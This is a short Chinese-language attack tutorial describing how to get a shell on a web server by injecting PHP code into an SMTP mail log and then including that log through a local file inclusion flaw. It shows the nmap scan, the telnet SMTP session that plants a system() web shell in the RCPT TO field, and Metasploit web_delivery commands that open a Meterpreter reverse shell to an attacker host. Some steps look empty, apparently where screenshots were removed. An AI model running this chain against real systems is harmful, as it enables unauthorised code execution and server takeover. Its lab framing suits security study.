2026-10-24 13:26:50
利用SMTP日志结合LFI(本地文件包含)漏洞实现getshell的攻击流程如下:
核心原理通过SMTP服务将恶意PHP代码注入日志文件(如mail.log),再利用LFI漏洞包含该日志文件,最终通过参数传递执行系统命令或反弹Shell。
攻击步骤确认SMTP服务开放使用nmap扫描目标端口,确认25端口(SMTP)开放:
nmap -p25 192.168.1.107验证LFI漏洞通过URL参数包含本地文件(如/etc/passwd),确认目标存在LFI漏洞:

检查日志文件权限尝试访问mail.log文件,确认当前用户有读写权限:

注入恶意代码到SMTP日志
使用telnet连接SMTP服务:
telnet 192.168.1.107 25发送包含恶意PHP代码的邮件(通过RCPT TO字段注入):
MAIL FROM:<rrajchandel@gmail.com>RCPT TO:<?php system($_GET['c']); ?>忽略501 5.1.3错误(语法无关紧要,日志仍会记录)。
触发恶意代码执行通过LFI包含mail.log,并传递参数执行命令(如ifconfig):

反弹Shell(可选)使用Metasploit生成反向Shell代码:
启动web_delivery模块:
use exploit/multi/script/web_deliveryset target 1set payload php/meterpreter/reverse_tcpset lhost 192.168.1.109set srvport 8888exploit将生成的恶意代码通过LFI执行:
获得Meterpreter会话:
sessions 1meterpreter> sysinfo此攻击链结合了服务配置错误(SMTP日志可写)和代码漏洞(LFI),需综合防护方可有效阻断。